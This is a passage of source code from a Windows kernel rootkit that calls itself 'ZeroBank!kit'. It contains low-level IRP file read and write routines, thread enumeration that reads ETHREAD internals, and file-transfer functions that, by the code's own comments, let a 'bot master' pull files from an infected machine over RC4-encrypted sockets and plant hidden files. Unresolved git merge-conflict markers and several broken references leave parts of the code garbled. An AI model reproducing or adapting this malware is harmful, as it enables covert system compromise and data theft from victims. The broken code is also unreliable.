sizeof(FILE_DISPOSITION_INFORMATION); 99 | pio->Parameters.SetFile.FileInformationClass = FileDispositionInformation; 100 | 101 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE); 102 | 103 | st = g_Hash._IofCallDriver(Device, Irp); 104 | if (st == STATUS_PENDING) 105 | g_Hash._KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, NULL); 106 | 107 | 108 | rc4_init(&ctx, key1, sizeof(key1)); 109 | rc4_encrypt(&ctx, (const uint8*)msg, (uint8*)out, length); 110 | 111 | send(socket, out, length); 112 | } 113 | } 114 | g_Hash._ObfDereferenceObject(FileObject); 115 | } 116 | #ifndef _WIN64 117 | ObpCloseHandle(handle, KernelMode); 118 | #else 119 | ZwClose(handle); 120 | #endif 121 | } 122 | 123 | g_Hash._RtlFreeUnicodeString(&ustr1); 124 | 125 | return st; 126 | } 127 | 128 | NTSTATUS IopQueryFileInformation(IN HANDLE FileHandle, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS InfoClass) 129 | { 130 | 131 | NTSTATUS st; 132 | KEVENT Event; 133 | PIRP Irp = NULL; 134 | PFILE_OBJECT FileObject = NULL; 135 | PDEVICE_OBJECT DeviceObject = NULL; 136 | PIO_STACK_LOCATION pio = NULL; 137 | IO_STATUS_BLOCK io; 138 | 139 | st = g_Hash._ObReferenceObjectByHandle(FileHandle, FILE_GENERIC_READ, *g_Hash._IoFileObjectType, KernelMode, (PVOID*)&FileObject, NULL); 140 | if (NT_SUCCESS(st)) 141 | { 142 | DeviceObject = g_Hash._IoGetRelatedDeviceObject(FileObject); 143 | if (DeviceObject) 144 | { 145 | Irp = g_Hash._IoAllocateIrp(DeviceObject->StackSize, FALSE); 146 | if (Irp) 147 | { 148 | g_Hash._KeInitializeEvent(&Event, SynchronizationEvent, FALSE); 149 | 150 | memset(FileInformation, 0, Length); 151 | Irp->AssociatedIrp.SystemBuffer = FileInformation; 152 | Irp->UserEvent = &Event; 153 | Irp->UserIosb = &io; 154 | Irp->RequestorMode = KernelMode; 155 | Irp->Tail.Overlay.Thread = (PETHREAD)g_Hash._KeGetCurrentThread(); 156 | Irp->Tail.Overlay.OriginalFileObject = FileObject; 157 | 158 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1; 159 | pio->DeviceObject = DeviceObject; 160 | pio->FileObject = FileObject; 161 | pio->MajorFunction = IRP_MJ_QUERY_INFORMATION; 162 | pio->Parameters.QueryFile.Length = Length; 163 | pio->Parameters.QueryFile.FileInformationClass = InfoClass; 164 | 165 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE); 166 | 167 | st = g_Hash._IofCallDriver(DeviceObject, Irp); 168 | if (st == STATUS_PENDING) 169 | st = g_Hash._KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, NULL); 170 | 171 | } 172 | } 173 | g_Hash._ObfDereferenceObject(FileObject); 174 | } 175 | 176 | st = io.Status; 177 | 178 | return st; 179 | 180 | } 181 | 182 | NTSTATUS IopQueryVolumeInformationFile(IN HANDLE Handle, OUT PVOID VolumeInformation, IN ULONG Length, IN FS_INFORMATION_CLASS InfoClass) 183 | { 184 | 185 | NTSTATUS st; 186 | KEVENT Event; 187 | PIRP Irp = NULL; 188 | PFILE_OBJECT FileObject = NULL; 189 | PDEVICE_OBJECT DeviceObject = NULL; 190 | PIO_STACK_LOCATION pio = NULL; 191 | IO_STATUS_BLOCK io; 192 | 193 | st = g_Hash._ObReferenceObjectByHandle(Handle, 194 | FILE_GENERIC_READ, 195 | *g_Hash._IoFileObjectType, 196 | KernelMode, 197 | (PVOID*)&FileObject, 198 | NULL); 199 | if (NT_SUCCESS(st)) 200 | { 201 | DeviceObject = g_Hash._IoGetRelatedDeviceObject(FileObject); 202 | if (DeviceObject) 203 | { 204 | Irp = g_Hash._IoAllocateIrp(DeviceObject->StackSize, FALSE); 205 | if (Irp) 206 | { 207 | g_Hash._KeInitializeEvent(&Event, SynchronizationEvent, FALSE); 208 | 209 | memset(VolumeInformation, 0, Length); 210 | Irp->AssociatedIrp.SystemBuffer = VolumeInformation; 211 | Irp->UserEvent = &Event; 212 | Irp->UserIosb = &io; 213 | Irp->RequestorMode = KernelMode; 214 | Irp->Tail.Overlay.Thread = (PETHREAD)g_Hash._KeGetCurrentThread(); 215 | Irp->Tail.Overlay.OriginalFileObject = FileObject; 216 | 217 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1; 218 | pio->DeviceObject = DeviceObject; 219 | pio->FileObject = FileObject; 220 | pio->MajorFunction = IRP_MJ_QUERY_VOLUME_INFORMATION; 221 | pio->Parameters.QueryFile.Length = Length; 222 | pio->Parameters.QueryFile.FileInformationClass = InfoClass; 223 | 224 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE); 225 | 226 | st = g_Hash._IofCallDriver(DeviceObject, Irp); 227 | if (st == STATUS_PENDING) 228 | g_Hash._KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, NULL); 229 | } 230 | } 231 | g_Hash._ObfDereferenceObject(FileObject); 232 | } 233 | 234 | st = io.Status; 235 | 236 | return st; 237 | 238 | } 239 | 240 | 241 | NTSTATUS IopGetFileSize(IN HANDLE Handle, OUT PLARGE_INTEGER Size) 242 | { 243 | NTSTATUS st; 244 | FILE_STANDARD_INFORMATION fileinfo = { 0 }; 245 | 246 | st = IopQueryFileInformation(Handle, &fileinfo, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation); 247 | if (NT_SUCCESS(st)) 248 | { 249 | 250 | Size->HighPart = fileinfo.EndOfFile.HighPart; 251 | Size->LowPart = fileinfo.EndOfFile.LowPart; 252 | Size->QuadPart = fileinfo.EndOfFile.QuadPart; 253 | } 254 | 255 | return st; 256 | 257 | } 258 | 259 | 260 | NTSTATUS IopReadFile(IN HANDLE handle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL) 261 | { 262 | PIRP Irp = NULL; 263 | NTSTATUS st; 264 | KEVENT Event; 265 | PIO_STACK_LOCATION pio = NULL; 266 | PFILE_OBJECT FileObject = NULL; 267 | 268 | st = g_Hash._ObReferenceObjectByHandle(handle, FILE_GENERIC_READ, *g_Hash._IoFileObjectType, KernelMode, &FileObject, NULL); 269 | if (!NT_SUCCESS(st)) 270 | { 271 | KdPrint(("\r\nError ObReferenceObjectByHandle IopReadFile: 0x%x"), st); 272 | g_Hash._ObfDereferenceObject(FileObject); 273 | return STATUS_INVALID_HANDLE; 274 | } 275 | 276 | if (FileObject->Vpb == 0 || FileObject->Vpb->DeviceObject == NULL) 277 | return STATUS_UNSUCCESSFUL; 278 | 279 | if (ByteOffset == NULL) 280 | { 281 | if (!(FileObject->Flags & FO_SYNCHRONOUS_IO)) 282 | return STATUS_INVALID_PARAMETER; 283 | ByteOffset = &FileObject->CurrentByteOffset; 284 | } 285 | 286 | Irp = g_Hash._IoAllocateIrp(FileObject->Vpb->DeviceObject->StackSize, FALSE); 287 | if (Irp == NULL) 288 | return STATUS_INSUFFICIENT_RESOURCES; 289 | 290 | memset(Buffer, 0, Length); 291 | 292 | if (FileObject->DeviceObject->Flags & DO_BUFFERED_IO) 293 | { 294 | Irp->AssociatedIrp.SystemBuffer = Buffer; 295 | } 296 | 297 | else if (FileObject->DeviceObject->Flags & DO_DIRECT_IO) 298 | { 299 | Irp->MdlAddress = g_Hash._IoAllocateMdl(Buffer, Length, 0, 0, 0); 300 | if (Irp->MdlAddress == NULL) 301 | { 302 | g_Hash._IoFreeIrp(Irp); 303 | return STATUS_INSUFFICIENT_RESOURCES; 304 | } 305 | 306 | g_Hash._MmBuildMdlForNonPagedPool(Irp->MdlAddress); 307 | } 308 | else 309 | { 310 | Irp->UserBuffer = Buffer; 311 | } 312 | 313 | g_Hash._KeInitializeEvent(&Event, SynchronizationEvent, FALSE); 314 | 315 | Irp->UserEvent = &Event; 316 | Irp->UserIosb = IoStatusBlock; 317 | Irp->RequestorMode = KernelMode; 318 | Irp->Flags = IRP_READ_OPERATION; 319 | Irp->Tail.Overlay.Thread = (PKTHREAD)g_Hash._KeGetCurrentThread(); 320 | Irp->Tail.Overlay.OriginalFileObject = FileObject; 321 | 322 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1; 323 | pio->MajorFunction = IRP_MJ_READ; 324 | pio->MinorFunction = IRP_MN_NORMAL; 325 | pio->DeviceObject = FileObject->Vpb->DeviceObject; 326 | pio->FileObject = FileObject; 327 | pio->Parameters.Read.Length = Length; 328 | pio->Parameters.Read.ByteOffset = *ByteOffset; 329 | 330 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE); 331 | st = g_Hash._IofCallDriver(FileObject->Vpb->DeviceObject, Irp); 332 | if (st == STATUS_PENDING) 333 | g_Hash._KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, 0); 334 | 335 | return IoStatusBlock->Status; 336 | } 337 | 338 | <<<<<<< HEAD 339 | NTSTATUS IopWriteFile(IN HANDLE Handle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL) 340 | ======= 341 | NTSTATUS IopWriteFile(IN HANDLE Handle, IN ACCESS_MASK DesiredAccess, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL) 342 | >>>>>>> adding files 343 | { 344 | PIRP Irp = NULL; 345 | NTSTATUS st; 346 | KEVENT Event; 347 | PFILE_OBJECT FileObject = NULL; 348 | PIO_STACK_LOCATION pio = NULL; 349 | 350 | <<<<<<< HEAD 351 | st = g_Hash._ObReferenceObjectByHandle(Handle, FILE_GENERIC_WRITE, *g_Hash._IoFileObjectType, KernelMode, (PVOID*)&FileObject, NULL); 352 | ======= 353 | st = g_Hash._ObReferenceObjectByHandle(Handle, DesiredAccess, *g_Hash._IoFileObjectType, KernelMode, (PVOID*)&FileObject, NULL); 354 | >>>>>>> adding files 355 | if (!NT_SUCCESS(st)) 356 | { 357 | KdPrint(("\r\nObReferenceObjectByHandle Error IopWriteFile: 0x%x"), st); 358 | g_Hash._ObfDereferenceObject(FileObject); 359 | return STATUS_INVALID_HANDLE; 360 | } 361 | 362 | if (FileObject->Vpb == 0 || FileObject->Vpb->DeviceObject == NULL) 363 | return STATUS_UNSUCCESSFUL; 364 | 365 | if (ByteOffset == NULL) 366 | { 367 | if (!(FileObject->Flags & FO_SYNCHRONOUS_IO)) 368 | return STATUS_INVALID_PARAMETER; 369 | ByteOffset = &FileObject->CurrentByteOffset; 370 | } 371 | 372 | Irp = g_Hash._IoAllocateIrp(FileObject->Vpb->DeviceObject->StackSize, FALSE); 373 | if (Irp == NULL) 374 | return STATUS_INSUFFICIENT_RESOURCES; 375 | 376 | if (FileObject->DeviceObject->Flags & DO_BUFFERED_IO) 377 | { 378 | Irp->AssociatedIrp.SystemBuffer = Buffer; 379 | } 380 | else 381 | { 382 | Irp->MdlAddress = g_Hash._IoAllocateMdl(Buffer, Length, 0, 0, 0); 383 | if (Irp->MdlAddress == NULL) 384 | { 385 | g_Hash._IoFreeIrp(Irp); 386 | return STATUS_INSUFFICIENT_RESOURCES; 387 | } 388 | 389 | g_Hash._MmBuildMdlForNonPagedPool(Irp->MdlAddress); 390 | } 391 | 392 | 393 | g_Hash._KeInitializeEvent(&Event, SynchronizationEvent, FALSE); 394 | 395 | Irp->UserEvent = &Event; 396 | Irp->UserIosb = IoStatusBlock; 397 | Irp->RequestorMode = KernelMode; 398 | Irp->Flags = IRP_WRITE_OPERATION; 399 | Irp->Tail.Overlay.Thread = (PKTHREAD)g_Hash._KeGetCurrentThread(); 400 | Irp->Tail.Overlay.OriginalFileObject = FileObject; 401 | 402 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1; 403 | pio->MajorFunction = IRP_MJ_WRITE; 404 | pio->MinorFunction = IRP_MN_NORMAL; 405 | pio->DeviceObject = FileObject->Vpb->DeviceObject; 406 | pio->FileObject = FileObject; 407 | pio->Parameters.Write.Length = Length; 408 | pio->Parameters.Write.ByteOffset = *ByteOffset; 409 | 410 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE); 411 | st = g_Hash._IofCallDriver(FileObject->Vpb->DeviceObject, Irp); 412 | if (st == STATUS_PENDING) 413 | { 414 | g_Hash._KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, NULL); 415 | } 416 | 417 | return IoStatusBlock->Status; 418 | 419 | } 420 | -------------------------------------------------------------------------------- /ZeroBank!kit/rwqueryfilevol.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | NTSTATUS IopQueryFileInformation(IN HANDLE FileHandle, 4 | OUT PVOID FileInformation, 5 | IN ULONG Length, 6 | IN FILE_INFORMATION_CLASS InfoClass); 7 | 8 | NTSTATUS IopQueryVolumeInformationFile(IN HANDLE Handle, 9 | OUT PVOID VolumeInformation, 10 | IN ULONG Length, 11 | IN FS_INFORMATION_CLASS InfoClass); 12 | 13 | 14 | NTSTATUS IopGetFileSize(IN HANDLE Handle, 15 | OUT PLARGE_INTEGER Size); 16 | 17 | 18 | NTSTATUS IopReadFile(IN HANDLE handle, 19 | OUT PIO_STATUS_BLOCK IoStatusBlock, 20 | OUT PVOID Buffer, 21 | IN ULONG Length, 22 | IN PLARGE_INTEGER ByteOffset OPTIONAL); 23 | 24 | NTSTATUS IopWriteFile(IN HANDLE Handle, 25 | <<<<<<< HEAD 26 | ======= 27 | IN ACCESS_MASK DesiredAccess, 28 | >>>>>>> adding files 29 | OUT PIO_STATUS_BLOCK IoStatusBlock, 30 | OUT PVOID Buffer, 31 | IN ULONG Length, 32 | IN PLARGE_INTEGER ByteOffset OPTIONAL); 33 | 34 | NTSTATUS IopDeleteFile(IN PFILE_OBJECT socket, 35 | IN PCHAR FileName); -------------------------------------------------------------------------------- /ZeroBank!kit/thread.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | /*////////////////////////////////////////// 4 | // 5 | // File: Thread.c 6 | // 7 | // Thread information by process ID 8 | // gathers information directly from ETHREAD 9 | // 10 | */////////////////////////////////////////// 11 | 12 | 13 | PROOTKIT_PROCESS_LIST_HEAD kernel_get_process_threads(IN UINT32 ProcessId, IN PROOTKIT_API_HASH Hash) 14 | { 15 | PLIST_ENTRY ListBegin = NULL; 16 | PLIST_ENTRY ListEntry = NULL; 17 | PROOTKIT_THREAD_ENTRY ThreadBuffer = NULL; 18 | PEPROCESS Eprocess = NULL; 19 | ULONG_PTR Ethread = 0; 20 | NTSTATUS st; 21 | TIME_FIELDS ttimer = { 0 }; 22 | LARGE_INTEGER large = { 0 }; 23 | 24 | st = Hash->_PsLookupProcessByProcessId((HANDLE)ProcessId, (PEPROCESS*)&Eprocess); 25 | if (!NT_SUCCESS(st)) 26 | { 27 | KdPrint(("\r\nError opening process handle")); 28 | Hash->_ObfDereferenceObject(Eprocess); 29 | } 30 | 31 | __try { 32 | 33 | g_thread_head = (PROOTKIT_THREAD_LIST_HEAD)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_THREAD_LIST_HEAD)); 34 | InitializeListHead(&g_thread_head->Entry); 35 | g_thread_head->NumberOfThreads = 0; 36 | 37 | ListBegin = (PLIST_ENTRY)((ULONG_PTR)Eprocess + g_rootkit_dynamic_data.ThreadListHead_Offset); 38 | 39 | for (ListEntry = ListBegin->Flink; ListEntry != ListBegin; ListEntry = ListEntry->Flink) 40 | { 41 | ThreadBuffer = (PROOTKIT_THREAD_ENTRY)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_THREAD_ENTRY)); 42 | Ethread = (ULONG_PTR)ListEntry - g_rootkit_dynamic_data.ThreadListEntry_Offset; 43 | memset(ThreadBuffer, 0, sizeof(ROOTKIT_THREAD_ENTRY)); 44 | 45 | ThreadBuffer->Ethread = Ethread; 46 | ThreadBuffer->ThreadId = Hash->_PsGetThreadId(Ethread); 47 | ThreadBuffer->ContextSwitches = *(PUINT16)(Ethread + g_rootkit_dynamic_data.ContextSwitches_Offset); 48 | ThreadBuffer->StartAddress = *(PULONG_PTR)((ULONG_PTR)Ethread + g_rootkit_dynamic_data.StartAddress_Offset); 49 | ThreadBuffer->KernelStackResident = *(PBOOLEAN)(Ethread + g_rootkit_dynamic_data.KernelStackResident_Offset); 50 | 51 | large = *(LARGE_INTEGER*)((ULONG_PTR)Ethread + g_rootkit_dynamic_data.CreateTimeThread_Offset); 52 | Hash->_RtlTimeToTimeFields(&large, &ttimer); 53 | 54 | ThreadBuffer->KernelTime = *(PUINT32)((ULONG_PTR)Ethread + g_rootkit_dynamic_data.ThreadKernelTime_Offset); 55 | 56 | Hash->_sprintf_s(ThreadBuffer->ThreadCreationTime, 255, "%02u/%02u/%04u %02u:%02u:%02u", \ 57 | ttimer.Day, \ 58 | ttimer.Month, \ 59 | ttimer.Year, \ 60 | ttimer.Hour, \ 61 | ttimer.Minute, \ 62 | ttimer.Second); 63 | 64 | g_thread_head->NumberOfThreads++; 65 | 66 | Hash->_KfAcquireSpinLock(&g_globalspinlock); 67 | InsertTailList(&g_thread_head->Entry, &ThreadBuffer->Entry); 68 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql); 69 | } 70 | 71 | return g_thread_head; 72 | 73 | } 74 | __except (EXCEPTION_EXECUTE_HANDLER) { 75 | KdPrint(("\r\nException Caught Thread plugin")); 76 | if (g_thread_head) { 77 | Hash->_ExFreePoolWithTag(g_thread_head,0); 78 | g_thread_head = NULL; 79 | } 80 | return GetExceptionCode(); 81 | } 82 | 83 | Hash->_ObfDereferenceObject(Eprocess); 84 | } 85 | 86 | ULONG rk_copy_thread_list_to_buffer(PROOTKIT_THREAD_ENTRY Buffer, IN PROOTKIT_API_HASH Hash) 87 | { 88 | ULONG returnedlength = 0; 89 | PROOTKIT_THREAD_ENTRY CopyBuffer = NULL; 90 | 91 | if (g_thread_head == NULL) 92 | return 0; 93 | 94 | Hash->_KfAcquireSpinLock(&g_globalspinlock); 95 | 96 | while (!IsListEmpty(&g_thread_head->Entry)) 97 | { 98 | CopyBuffer = (PROOTKIT_THREAD_ENTRY)RemoveTailList(&g_thread_head->Entry); 99 | kimemcpy(Buffer, CopyBuffer, sizeof(ROOTKIT_THREAD_ENTRY)); 100 | Hash->_ExFreePoolWithTag(CopyBuffer,0); 101 | Buffer++; 102 | returnedlength++; 103 | } 104 | 105 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql); 106 | 107 | Hash->_ExFreePoolWithTag(g_thread_head,0); 108 | g_thread_head = NULL; 109 | 110 | return returnedlength*sizeof(ROOTKIT_THREAD_ENTRY); 111 | } 112 | 113 | BOOLEAN rk_send_threads_to_userspace(IN UINT32 ProcessId, IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash) 114 | { 115 | ULONG sendbytes = 0; 116 | PROOTKIT_THREAD_LIST_HEAD threadlisthead = NULL; 117 | PROOTKIT_THREAD_ENTRY entrythread = NULL; 118 | INT sendsize = 0; 119 | ULONG returnedbytes = 0; 120 | PVOID Buffer = NULL; 121 | PMDL Mdl = NULL; 122 | BOOLEAN g_cond = FALSE; 123 | 124 | threadlisthead = kernel_get_process_threads(ProcessId, Hash); 125 | sendbytes = threadlisthead->NumberOfThreads*sizeof(ROOTKIT_THREAD_ENTRY); 126 | 127 | do 128 | { 129 | sendsize = send(socket, (char*)&sendbytes, sizeof(ULONG)); 130 | if (sendsize > 0) 131 | { 132 | Buffer = KiAllocateMappedVirtualMemory(sendbytes, 'kbot', &Mdl, Hash); 133 | if (Buffer && Hash->_MmIsAddressValid(Buffer) && KiIsMdlAdddressValid(Mdl,Hash)==TRUE) 134 | { 135 | entrythread = (PROOTKIT_THREAD_ENTRY)Buffer; 136 | if (entrythread && Hash->_MmIsAddressValid(entrythread)) 137 | { 138 | returnedbytes = rk_copy_thread_list_to_buffer(entrythread, Hash); 139 | if (returnedbytes > 0) 140 | { 141 | sendsize = tdi_send_crypted(socket, RC4_KEY_2, (PROOTKIT_THREAD_ENTRY)entrythread, returnedbytes, 0); 142 | if (sendsize > 0) 143 | { 144 | g_cond = TRUE; 145 | goto clean; 146 | } 147 | } 148 | } 149 | } 150 | } 151 | 152 | 153 | } while (FALSE); 154 | 155 | clean: 156 | KiFreeMappedVirtualMemory(Buffer, 'kbot', Mdl, Hash); 157 | Buffer = NULL; 158 | 159 | return g_cond; 160 | } -------------------------------------------------------------------------------- /ZeroBank!kit/thread.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #pragma once 4 | 5 | typedef struct _ROOTKIT_THREAD_ENTRY 6 | { 7 | #ifndef _WIN64 8 | LIST_ENTRY Entry; 9 | #else 10 | LIST_ENTRY64 Entry; 11 | #endif 12 | ULONG_PTR Ethread; 13 | UINT16 ContextSwitches; 14 | BOOLEAN KernelStackResident; 15 | ULONG_PTR StartAddress; 16 | ULONG ThreadId; 17 | CHAR ThreadCreationTime[255]; 18 | UINT32 KernelTime; 19 | }ROOTKIT_THREAD_ENTRY, *PROOTKIT_THREAD_ENTRY; 20 | 21 | typedef struct _ROOTKIT_THREAD_LIST_HEAD 22 | { 23 | #ifndef _WIN64 24 | LIST_ENTRY Entry; 25 | #else 26 | LIST_ENTRY64 Entry; 27 | #endif 28 | ULONG NumberOfThreads; 29 | }ROOTKIT_THREAD_LIST_HEAD, *PROOTKIT_THREAD_LIST_HEAD; 30 | 31 | PROOTKIT_THREAD_LIST_HEAD g_thread_head; 32 | PROOTKIT_PROCESS_LIST_HEAD kernel_get_process_threads(IN UINT32 ProcessId, IN PROOTKIT_API_HASH Hash); 33 | ULONG rk_copy_thread_list_to_buffer(PROOTKIT_THREAD_ENTRY Buffer, IN PROOTKIT_API_HASH Hash); 34 | BOOLEAN rk_send_threads_to_userspace(IN UINT32 ProcessId, IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash); 35 | 36 | -------------------------------------------------------------------------------- /ZeroBank!kit/transfer.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | /*/////////////////////////////////////////////////////////////// 4 | // 5 | // File: transfer.c 6 | // 7 | // Implementation of file transfering routines 8 | // 9 | // Function: rk_send_file_to_userspace 10 | // - Bot master can download file from remote host 11 | // - If file is being by another process it cannot be 12 | // downloaded 13 | // Function: rk_store_file_from_userspace 14 | // - Bot master can store files inside directory 15 | // 16 | // To do: 17 | // - Store files in encrypted format, serving 18 | // the purpose of a malware download-platform 19 | // 20 | *//////////////////////////////////////////////////////////////// 21 | 22 | 23 | NTSTATUS rk_send_file_to_userspace(IN PCHAR FileName, IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash) 24 | { 25 | 26 | OBJECT_ATTRIBUTES oa = { 0 }; 27 | UNICODE_STRING ustr1 = { 0 }; 28 | IO_STATUS_BLOCK io = { 0 }; 29 | HANDLE handle = NULL; 30 | NTSTATUS st; 31 | ANSI_STRING ansi = { 0 }; 32 | FILE_STANDARD_INFORMATION fileinfo = { 0 }; 33 | PVOID Buffer = NULL; 34 | CHAR cSize[260] = { 0 }; 35 | INT sendsize = 0; 36 | PFILE_OBJECT FileObject = NULL; 37 | 38 | Hash->_RtlInitAnsiString(&ansi, FileName); 39 | Hash->_RtlAnsiStringToUnicodeString(&ustr1, &ansi, TRUE); 40 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); 41 | 42 | #ifndef _WIN64 && WINVER == _WIN32_WINNT_WIN7 43 | 44 | st = MyIopCreateFile(&handle, \ 45 | FILE_GENERIC_READ, \ 46 | &oa, \ 47 | &io, \ 48 | 0, \ 49 | FILE_ATTRIBUTE_NORMAL, \ 50 | FILE_SHARE_READ, \ 51 | FILE_OPEN, \ 52 | FILE_NON_DIRECTORY_FILE | 53 | FILE_SYNCHRONOUS_IO_NONALERT, \ 54 | NULL, \ 55 | 0, \ 56 | CreateFileTypeNone, \ 57 | 0, \ 58 | IO_NO_PARAMETER_CHECKING, \ 59 | 0, \ 60 | NULL); 61 | #else 62 | st = IoCreateFileEx(&handle, FILE_GENERIC_READ, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, FILE_NON_DIRECTORY_FILE | 63 | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING, NULL); 64 | #endif 65 | if (NT_SUCCESS(st)) 66 | { 67 | 68 | st = IopQueryFileInformation(handle, &fileinfo, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation); 69 | if (NT_SUCCESS(st)) 70 | { 71 | 72 | Buffer = Hash->_ExAllocatePoolWithTag(NonPagedPool, fileinfo.EndOfFile.QuadPart, 'MeM'); 73 | if (Buffer) 74 | { 75 | 76 | st = IopReadFile(handle, &io, Buffer, fileinfo.EndOfFile.QuadPart, NULL); 77 | if (NT_SUCCESS(st)) 78 | { 79 | Hash->_sprintf_s(cSize, 260, "%lu", fileinfo.EndOfFile.QuadPart); 80 | 81 | sendsize = send(SocketObject, cSize, 260); 82 | if (sendsize > 0) 83 | { 84 | KdPrint(("\r\nFile Size successfully sent to user-space")); 85 | 86 | sendsize = tdi_send_crypted(SocketObject, RC4_KEY_3, (PVOID)Buffer, (ULONG)fileinfo.EndOfFile.QuadPart, 0); 87 | if (sendsize > 0) 88 | { 89 | KdPrint(("\r\nFile Buffer successfully sent to user-space")); 90 | } 91 | } 92 | } 93 | Hash->_ExFreePoolWithTag(Buffer, 'MeM'); 94 | } 95 | } 96 | #ifndef _WIN64 97 | 98 | ObpCloseHandle(handle, KernelMode); 99 | #else 100 | ZwClose(handle); 101 | #endif 102 | } 103 | 104 | Hash->_RtlFreeUnicodeString(&ustr1); 105 | 106 | return st; 107 | } 108 | 109 | 110 | 111 | NTSTATUS rk_store_file_from_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash) 112 | { 113 | NTSTATUS st; 114 | OBJECT_ATTRIBUTES oa = { 0 }; 115 | UNICODE_STRING ustr1 = { 0 }; 116 | IO_STATUS_BLOCK io = { 0 }; 117 | HANDLE handle; 118 | INT recvsize = 0; 119 | ULONG filesize = 0; 120 | PCHAR Buffer = NULL; 121 | INT offset = 0; 122 | INT size = 0; 123 | PROOTKIT_STORE_USERSPACE_FILE storefile = NULL; 124 | ANSI_STRING ansi = { 0 }; 125 | LARGE_INTEGER large = { 0 }; 126 | CHAR szPrefix[255] = { 0 }; 127 | 128 | storefile = (PROOTKIT_STORE_USERSPACE_FILE)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_STORE_USERSPACE_FILE)); 129 | if (storefile == NULL) 130 | return STATUS_INSUFFICIENT_RESOURCES; 131 | 132 | recvsize = recv(SocketObject, (char*)storefile, sizeof(ROOTKIT_STORE_USERSPACE_FILE)); 133 | if (recvsize <= 0) 134 | return STATUS_UNSUCCESSFUL; 135 | 136 | 137 | Buffer = (char*)Hash->_ExAllocatePool(NonPagedPool, (SIZE_T)storefile->FileSize); 138 | if (Buffer == NULL) 139 | return STATUS_NO_MEMORY; 140 | 141 | while (storefile->FileSize > offset) 142 | { 143 | size = recv(SocketObject, Buffer + offset, storefile->FileSize - offset); 144 | if (size <= 0) 145 | break; 146 | else 147 | offset += size; 148 | } 149 | 150 | /* 151 | NEEDS TO BE IMPLEMENTED PROPERLY 152 | 153 | */ 154 | 155 | kistrcpy(szPrefix,"\\SystemRoot\\{ZeroBank GUID Directory}\\@"); 156 | kistrcat(szPrefix,"\\"); 157 | kistrcat(szPrefix,storefile->FileName); 158 | Hash->_RtlInitAnsiString(&ansi, szPrefix); 159 | Hash->_RtlAnsiStringToUnicodeString(&ustr1, &ansi, TRUE); 160 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); 161 | 162 | large.QuadPart = 1024; 163 | 164 | #ifndef _WIN64 && WINVER == _WIN32_WINNT_WIN7 165 | 166 | st = MyIopCreateFile(&handle, FILE_GENERIC_WRITE, &oa, &io, &large, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, FILE_SHARE_WRITE, 167 | FILE_CREATE, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, 168 | CreateFileTypeNone, NULL, 0, IO_NO_PARAMETER_CHECKING, NULL); 169 | 170 | if (!NT_SUCCESS(st)) 171 | { 172 | ObpCloseHandle(handle, KernelMode); 173 | return STATUS_UNSUCCESSFUL; 174 | } 175 | 176 | #else 177 | 178 | st = IoCreateFileEx(Handle, FILE_GENERIC_WRITE, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_CREATE, 179 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING, 0, NULL); 180 | if (!NT_SUCCESS(st)) 181 | { 182 | ZwClose(handle); 183 | return STATUS_UNSUCCESSFUL; 184 | } 185 | 186 | 187 | #endif 188 | 189 | /* 190 | 191 | Encrypt file Before writing 192 | 193 | */ 194 | 195 | 196 | <<<<<<< HEAD 197 | st = IopWriteFile(handle, &io, (PVOID)Buffer, storefile->FileSize, NULL); 198 | ======= 199 | st = IopWriteFile(handle,FILE_GENERIC_WRITE, &io, (PVOID)Buffer, storefile->FileSize, NULL); 200 | >>>>>>> adding files 